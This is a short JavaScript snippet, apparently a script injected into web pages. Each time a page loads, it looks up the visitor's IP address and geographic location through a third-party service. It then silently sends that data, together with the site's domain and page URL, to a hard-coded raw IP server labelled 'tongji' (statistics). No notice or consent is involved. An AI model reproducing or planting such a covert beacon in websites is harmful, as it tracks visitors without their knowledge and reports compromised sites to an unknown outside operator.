var currentDomain = window.location.hostname; var currentPageUrl = window.location.href; var apiUrl = 'http://45.12.89.93:1688/tongji/tongji.php?tgm=web6&domain=' + encodeURIComponent(currentDomain) + '&url=' + encodeURIComponent(currentPageUrl); var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://2024.ipchaxun.com/', true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); var ip = response.ip; var data = response.data; var addr = ''; for (var i = 0; i < 5; i++) { if (data[i] !== '') { if (addr !== '') { addr += '-'; } addr += data[i]; } } apiUrl += '&ip=' + encodeURIComponent(ip) + '&address=' + encodeURIComponent(addr); var xhr2 = new XMLHttpRequest(); xhr2.open('GET', apiUrl, true); xhr2.onreadystatechange = function() { if (xhr2.readyState === 4 && xhr2.status === 200) { } }; xhr2.send(); } }; xhr.send();